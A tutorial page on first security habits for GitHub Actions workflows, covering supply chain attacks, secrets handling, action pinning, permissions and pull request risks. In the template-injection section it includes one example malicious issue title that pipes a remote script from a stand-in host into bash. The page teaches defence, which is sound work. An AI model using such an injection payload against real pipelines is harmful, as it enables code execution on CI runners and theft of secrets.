Skip to content
Français
Account: not signed in, sync available My learning
Select theme
Français

First security reflexes for GitHub Actions workflows

By updated

Improve this page

You may not realise it, but your GitHub Actions workflows have access to your secrets, can modify your code, and can deploy malicious code to production without you noticing. A poorly secured workflow is an open door for attackers.

What you will learn

  • Explain what a supply chain attack is and why a pipeline is its target
  • Recognise the three main risks: an exposed secret, an unverified third-party action, code from a pull request
  • Pin an action by SHA instead of a tag that can move
  • Restrict the GITHUB_TOKEN permissions to what is strictly needed
  • Route any external data through env: to block injection

Why does CI/CD pipeline security matter?

Your CI/CD pipeline is a prime target:

Your pipeline has access to secrets, can publish packages, deploy to production and run code on machines: an attacker who compromises it can do everything.compromisesYour pipelineHas access to secretstokens, passwordsCan publish packagesnpm, DockerCan deployto productionRuns codeon machinesAn attacker who compromises itcan do EVERYTHING
Source · SVG
Esc to close, + and − to zoom, scroll to move around. 100 %

Concretely, your pipeline:

  • has access to secrets: API tokens, database passwords, cloud deployment keys;
  • can publish packages: to npm, PyPI, Docker Hub, or your private registry;
  • can deploy to production: changing what runs on your servers;
  • executes code on machines: potentially with internal network access.

An attacker who compromises your pipeline can do all of that in your place. It is as if they held the keys to your infrastructure.

What is a supply chain attack?

A supply chain attack does not target you directly. It targets something you use.

Inside GitHub Actions

A third-party action and dependencies bring external code into your workflow, which deploys to production.external codeexternal codeThird-party actionDependenciesYour workflowProduction
Source · SVG
Esc to close, + and − to zoom, scroll to move around. 100 %

There is no flaw in your code, and yet:

  • an action you use is compromised;
  • an npm dependency you install carries malicious code;
  • a base container image has been tampered with.

Real supply chain attacks

Here are a few well-known attacks on the software supply chain:

YearAttackWhat happened
2021CodecovA modified download script stole CI secrets
2021ua-parser-jsA widely used npm package was infected to mine cryptocurrency
2024xz-utilsA backdoor hidden in a Linux compression library
2025tj-actions/changed-filesTags rewritten from v1 to v45, secrets exfiltrated

These attacks hit thousands of companies without any mistake on their part in their own code.

The three main risks

Here are the three most common security risks in GitHub Actions.

1. Exposed secrets

What is a secret? A secret is a piece of confidential information your application needs to work: a database password, an API key for an external service, an access token for a Docker registry. Think of them as the keys to your house: if someone finds them, they can walk in.

Why is it a problem in workflows? Your workflow often needs those secrets to deploy, publish a package or reach a service. The danger is exposing them by accident.

Two classic mistakes:

# ❌ Mistake 1: the secret is hardcoded
# Anyone can read it in the Git history!
- run: curl -H "Authorization: Bearer sk-123456789"
# ❌ Mistake 2: printing a secret to "debug"
# GitHub masks the exact value, but nothing masks what you derive from it
- run: echo "Debug: ${{ secrets.API_KEY }}"

The good practice takes two steps. Store the value in the repository secrets (Settings, then Secrets), and let it reach the step through an env: block rather than interpolating it into the command. The first step keeps it out of the repository; the second keeps it out of the command line, where anything running on the runner could read it.

# ✅ The secret lives in GitHub, and reaches the step through its environment
- run: curl -H "Authorization: Bearer $API_KEY" https://api.internal.lan/v1/deploy
env:
API_KEY: ${{ secrets.API_KEY }}

2. Unverified third-party actions

What is an action? A GitHub action is a reusable piece of code that someone has published. Instead of rewriting the logic to "check out the code" or "publish to npm", you use an existing action with uses:.

Why is it convenient? It saves you from reinventing the wheel. The community has built thousands of actions for everything: deploying to AWS, sending a Slack notification, analysing code.

Why is it risky? When you write someone/super-action@v1 after uses:, you run code written by a stranger on your runners. That code can reach everything your workflow can reach, including your secrets.

It is like inviting a stranger into your home and handing them your keys. Maybe they are trustworthy, maybe not.

# ❌ Questions worth asking before copying this step:
# - Who is "random-user"? A company? An individual?
# - What does this action really do? Have I read the code?
# - Is it maintained? Last updated three years ago?
- uses: random-user/deploy-magic@v1 # ❌ unknown author, mutable tag
with:
token: ${{ secrets.DEPLOY_KEY }} # We are handing over our keys!

The good practice: only use actions from trustworthy sources (GitHub, large companies, popular projects) and pin them by SHA to avoid surprise changes, as covered below.

3. Code from pull requests

What is a pull request (PR)? A PR is a proposed change to the code. On an open source project, anyone can fork the repository (make their own copy), change the code, then propose the change through a PR.

Why is it an attack vector? By default, when someone opens a PR, the repository's workflows run to test the proposed code. So an attacker can:

  1. fork your repository (create their own copy);
  2. modify the workflow so it prints or ships your secrets somewhere;
  3. open a PR against your repository;
  4. collect your secrets when the workflow runs.
Pull request attack: the attacker forks the repository, modifies the workflow in the fork, opens a PR; the CI workflow runs with the secrets, which are exfiltrated to the attacker.CI workflowModified forkYour repoAttacker① Forks the repo② Modifies the workflow③ Opens a PR④ Runs with the secrets⑤ Secrets exfiltrated
Source · SVG
Esc to close, + and − to zoom, scroll to move around. 100 %

The good news: GitHub anticipated this. By default, workflows triggered by PRs coming from forks have no access to secrets. The attacker can modify the workflow, but they will collect nothing.

The golden rule: never disable that protection, and be wary of pull_request_target, which bypasses it.

The basic reflexes

To secure your GitHub Actions workflows, adopt these six simple reflexes.

1. Vet an action before using it

Before adding a new action, ask yourself:

  • Who created it? (GitHub, a known company, a stranger?)
  • Is it maintained? (recent update?)
  • How many people use it? (popular means more eyes on it)
  • Do I really need an action? (sometimes a plain run: is enough)

2. Pin actions by SHA

The problem with tags (@v1, @latest) is that they can move.

# ❌ If someone changes what "v4" points to, your workflow changes
- uses: actions/checkout@v4
# ✅ A SHA is immutable, nobody can alter it
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1

The SHA (the long string) points at an exact version of the code. Even if the action maintainer is compromised, your workflow keeps using the version you vetted.

  1. Go to the action's repository (for example github.com/actions/checkout)
  2. Click "Releases"
  3. Find the version you want
  4. Copy the commit SHA

Or use pin-github-action to do it automatically:

Terminal window
npx pin-github-action .github/workflows/ci.yml

3. Restrict the permissions

By default, apply the principle of least privilege:

# ✅ Explicit, minimal permissions
permissions:
contents: read # Only read the code, never modify it
jobs:
test:
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
- run: npm test

If your workflow is compromised and only holds contents: read, the attacker cannot modify your code.

4. Never store secrets in the code

It sounds obvious, and it is still the most frequent mistake. Secrets belong in GitHub (Settings, then Secrets and variables, then Actions), never in the code, not even "temporarily".

# ❌ NEVER: the secret stays visible in the Git history forever
env:
API_KEY: "sk-1234567890abcdef"
# ✅ The secret lives in GitHub, referenced by name
env:
API_KEY: ${{ secrets.API_KEY }}

Even if you delete the commit, it remains in the history. If you have committed a secret by mistake, treat it as compromised and rotate it immediately.

5. Do not trust PRs from forks

This is GitHub's default behaviour, so leave it alone:

on:
pull_request: # ✅ No access to secrets for forks
# DANGEROUS: pull_request_target does grant access to secrets
# Do not use it without understanding the risks

6. Never inject untrusted data into your scripts

An issue title, a PR body, a commit message: those are data controlled from the outside. Inserting them directly with ${{ }} inside a run: block lets an attacker execute their own commands on your runner. This is template injection, the most common flaw in GitHub Actions.

# ❌ The issue title is injected verbatim into the shell
- run: echo "New issue ${{ github.event.issue.title }}"
# ✅ The data travels through an environment variable
- run: echo "New issue $ISSUE_TITLE"
env:
ISSUE_TITLE: ${{ github.event.issue.title }}

A title such as "; curl evil.sh | bash # would run arbitrary code in the first version. In the second, it stays a plain string with no power.

Recap: the basic checklist

Before putting a workflow into production:

Secrets and permissions:

  • No secrets in the code, use ${{ secrets.* }}
  • No injection, external data passed through env:, never interpolated directly into run:
  • Permissions declared, permissions: at the top of the workflow with the minimum needed
  • No permissions: write-all, list only what you actually need

Actions and dependencies:

  • Actions vetted, from a known and maintained source
  • Spelling checked, no typosquatting (actions/checkout, not action/checkout)
  • Dependencies assessed, use OpenSSF Scorecard to check a project's security maturity
  • Actions pinned by SHA, no @v1 and no @latest

Pull requests:

  • No pull_request_target, unless you understand the risks
  • Approval required for workflows on PRs from outside contributors

Advanced good practices:

  • Dependabot enabled, for automatic action updates
  • Branch protection, requiring reviews and checks before merge
  • Regular audits, periodically reviewing the actions in use

Key points

This page covers the fundamentals, in other words what protects you against the most common attacks. The security module of the course goes further: OIDC authentication, provenance attestations, isolation of self-hosted runners.

It is a lot at once, and that is fine: these reflexes are acquired by applying them, not by memorising them. Keep at least the three that matter, pin by SHA, restrict the permissions, route external data through env:. They cover most real-world cases.

Check your understanding

Make sure the essentials of this guide are yours. The questions only cover what was explained here.

Knowledge check

Check what you have learned with this interactive quiz

6 questions
6 min
70% to pass

How it works

  • The timer starts when you click Start
  • Multiple choice, true/false and short answer questions
  • You can move between questions
  • Detailed results are shown at the end

Starts the quiz and the timer

Is this project useful to you?

The guides, courses, quizzes and labs stay free. If you use them regularly, you can contribute to their upkeep and development.

Become a supporting member (new tab) One-time support (new tab) Learn more

Follow the project on LinkedIn